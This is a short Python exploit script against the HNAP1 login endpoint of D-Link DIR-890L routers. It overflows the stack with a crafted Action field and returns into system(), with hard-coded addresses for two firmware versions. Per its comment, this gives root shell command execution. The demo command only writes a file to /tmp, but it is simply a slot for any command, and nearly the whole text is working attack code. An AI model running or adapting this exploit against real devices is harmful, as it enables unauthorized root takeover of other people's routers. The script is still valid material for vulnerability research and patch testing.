# Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges. import requests as rq import struct IP = "192.168.0.1" PORT = "80" # Can differ in different version of routers and versions of firmware # SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01 SYSTEM_ADDRESS = 0x1B50C # DIR-890L_REVA_FIRMWARE_1.10.B07 def _str(address): return struct.pack("<I", address) if address > 0 else struct.pack("<i", address) url = 'http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT) headers_text = { 'SOAPACTION' : 'http://purenetworks.com/HNAP1/Login', 'CONTENT-TYPE' : 'text/html' } payload = b"echo 1 > /tmp/hacked;" print(rq.post(url, data=b"<Action>" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"</Action>", headers=headers_text).text)